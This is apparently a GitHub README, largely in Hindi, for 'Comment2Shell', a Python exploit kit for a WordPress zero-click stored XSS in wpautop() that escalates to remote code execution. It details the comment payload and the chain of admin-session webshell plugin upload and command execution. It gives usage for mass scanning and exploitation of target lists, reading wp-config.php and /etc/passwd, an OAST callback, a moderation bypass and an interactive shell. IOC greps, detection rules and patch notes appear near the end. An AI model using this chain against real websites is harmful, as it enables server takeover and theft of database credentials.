
Zero-click प्री-ऑथ WordPress CVE-2026-93485 एक्सप्लॉइट चेन: wpautop() में स्टोर्ड XSS, जो admin-session प्लगइन अपलोड और एक self-deleting webshell तक बढ़ता है, साथ में scanner, shell, और Nuclei template।
Comment2Shell, CVE-2026-93485 के लिए एक एंड-टू-एंड प्रूफ-ऑफ-कॉन्सेप्ट है, जो WordPress कोर wpautop() में एक प्री-ऑथेंटिकेशन स्टोर्ड XSS है जो एक एडमिनिस्ट्रेटर सेशन के अंदर रिमोट कोड एक्ज़ीक्यूशन तक बढ़ जाता है। एक अनाम कमेंट पेलोड को प्लांट करता है; जब कोई एडमिन पोस्ट खोलता है, तो ब्राउज़र एक वेबशेल प्लगइन अपलोड करता है, एक कमांड चलाता है, और शेल को फिर से डिलीट कर देता है। पूरी चेन एक डिपेंडेंसी-फ्री Python फ़ाइल है।
Comment2Shell, CVE-2026-93485 के लिए एक एक्सप्लॉइट और लोकल-लैब किट है। बग wp-includes/formatting.php में wpautop() पैराग्राफ फ़िल्टर में है जो कमेंट टेक्स्ट पर डिस्प्ले टाइम पर चलता है। एक blockquote cite एट्रिब्यूट के अंदर एक न्यूलाइन एक HTML कमेंट प्लेसहोल्डर बन जाती है; ब्लॉककोट्स को रैप करने वाला regex पहले पर रुक जाता है और एट्रिब्यूट के बीच में एक पैराग्राफ टैग इंजेक्ट कर देता है, जिसे ब्राउज़र फिर एक हैंडलर के रूप में पार्स करता है। एट्रिब्यूट इसे ज़ीरो-क्लिक पर फायर करता है।
>onfocusautofocusटूल पूरी चेन को कवर करता है: एक पैसिव वर्ज़न स्कैन, एक बिनाइन XSS प्रोब, पूरा प्री-ऑथेंटिकेशन से RCE एक्सप्लॉइट, एक इंटरैक्टिव शेल, और एक डिफेंसिव IOC चेक।
एक्सप्लॉइट को किसी अकाउंट, नॉन्स, और एडमिन द्वारा पोस्ट देखने के अलावा किसी इंटरैक्शन की ज़रूरत नहीं है। कमेंट्स केवल खुले होने चाहिए।
WordPress वेब के एक बड़े हिस्से पर चलता है और wpautop() कोर कोड है, इसलिए वल्नरेबल फ़िल्टर हर प्रभावित इंस्टॉल पर थीम या प्लगइन की परवाह किए बिना शिप होता है। XSS स्टोर्ड, प्री-ऑथेंटिकेशन, और ज़ीरो-क्लिक है। चूंकि यह एडमिन सेशन में एक्ज़ीक्यूट होता है, यह एक डीफेसमेंट बग से बढ़कर है: एडमिन कुकी एक प्लगइन इंस्टॉल करने के लिए पर्याप्त है, और प्लगइन इंस्टॉल करना मनमाना कोड एक्ज़ीक्यूशन है।
फिक्स WordPress 7.1.1 में 25 ब्रांचों में बैकपोर्ट्स के साथ शिप हुआ, 4.7.36 तक। 4.7.0 से 7.1.0 तक हर रिलीज़ प्रभावित है।
WordPress 7.1.0 के विरुद्ध नियंत्रित-लैब रन: एक अनाम कमेंट पेलोड को प्लांट करता है, पोस्ट खोलने वाला एडमिन ज़ीरो-क्लिक चेन को फायर करता है, वेबशेल अपलोड होता है, कमांड आउटपुट वापस आता है, और शेल खुद को डिलीट कर देता है। ब्राउज़र टैब टाइटल परिणाम बताता है, या तो Comment2Shell: shell uploaded या Comment2Shell: admin login required। सटीक प्रक्रिया के लिए docker/README.md देखें।
Comment2Shell इस फ्लॉ के डिस्कवरी का दावा नहीं करता। इसकी रिपोर्ट Rafie Muhammad (Awesome Motive) ने HackerOne WordPress प्रोग्राम के माध्यम से की थी और इसे 7.1.1 में फिक्स किया गया। यहाँ योगदान पूरी चेन का एक रिप्रोड्यूसिबल, डिपेंडेंसी-फ्री इम्प्लीमेंटेशन है:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
कोई डिपेंडेंसी नहीं। केवल Python 3.8+ स्टैंडर्ड लाइब्रेरी, कोई pip install नहीं।
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
एक्सप्लॉइट पेलोड पेज लोड पर
alert("Comment2Shell XSS - CVE-2026-93485")फायर करता है (autofocusके माध्यम से ज़ीरो-क्लिक)। एडमिन के रूप में लॉग इन रहते हुए पोस्ट देखें। टैब टाइटल फिर सफलता परComment2Shell: shell uploadedपढ़ता है, या यदि ब्राउज़र में कोई एडमिन सेशन नहीं है तोComment2Shell: admin login required।
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
टूल XSS कमेंट सबमिट करता है, जनरेट किए गए वेबशेल पाथ को हर 3s पर पोल करता है (--wait सेकंड तक), एडमिन के ब्राउज़र द्वारा अपलोड ट्रिगर होने पर कमांड चलाता है, फिर शेल को खुद डिलीट कर देता है (?d=1 PHP फ़ाइल को अनलिंक करता है और प्लगइन डायरेक्टरी को हटा देता है) ताकि कोई पर्सिस्टेंस पीछे न छूटे। इसे रखने के लिए --no-cleanup पास करें, या केवल पेलोड सबमिट करने के लिए --wait 0।
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
पहली बार कमेंट करने वालों के नए कमेंट्स आमतौर पर मॉडरेशन के लिए रोके जाते हैं। टूल के पास इसके चारों ओर तीन रास्ते हैं:
| रूट | तरीका | फ़्लैग |
|---|---|---|
| Known commenter | डिफ़ॉल्ट "A WordPress Commenter" <[email protected]> का पुनः उपयोग करता है, जिसे check_comment() ऑटो-अप्रूव करता है | --known-commenter |
| Moderation off | यदि comment_previously_approved=0, तो कोई भी आइडेंटिटी ऑटो-अप्रूव हो जाती है | default |
| Author preview | एक पूर्व कमेंटर ?unapproved=<id>&moderation-hash=<hash> कुकी के माध्यम से पेंडिंग कमेंट्स देखता है | automatic |
Patchstack के अनुसार: "moderation isn't a security control."
लोकल टेस्टिंग के लिए एक वल्नरेबल WordPress 7.1.0 स्पिन अप करें:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
प्रत्येक रन एक नया पेलोड कमेंट सबमिट करता है। पेज पर केवल पहला autofocus पेलोड चलता है, इसलिए टूल लाइव पेलोड का पता लगाता है और उसके पाथ को पोल करता है; रनों के बीच पुराने कमेंट्स साफ़ करने के लिए bash clean.sh चलाएँ।
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (वल्नरेबल, 7.1.1 से पहले):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
सेव टाइम पर पेलोड बिनाइन HTML है। blockquote[cite] और code कमेंट अलाउलिस्ट में हैं (wp-includes/kses.php:605-633)। न्यूलाइन wp_kses_hair() के सिंटैक्स-चार मैप में नहीं है। एक्सप्लॉइट डिस्प्ले टाइम पर होता है, जब comment_text फ़िल्टर स्टोर्ड HTML को ट्रांसफ़ॉर्म करते हैं।
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
फिक्स 7.1.1 में 25 ब्रांचों में शिप हुआ। 4.7.0 से 7.1.0 तक हर रिलीज़ प्रभावित है।
| ब्रांच | वल्नरेबल <= | फिक्स्ड |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize एट्रिब्यूट को सील करता है); क्लासिक थीम इसे ट्रिगर नहीं कर सकतीं।docker/clean.sh से साफ़ किया जाना चाहिए।
यह प्रोजेक्ट अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए मौजूद है। इसका उपयोग केवल उन सिस्टम्स के विरुद्ध करें जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टम्स तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं। LICENSE देखें।
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383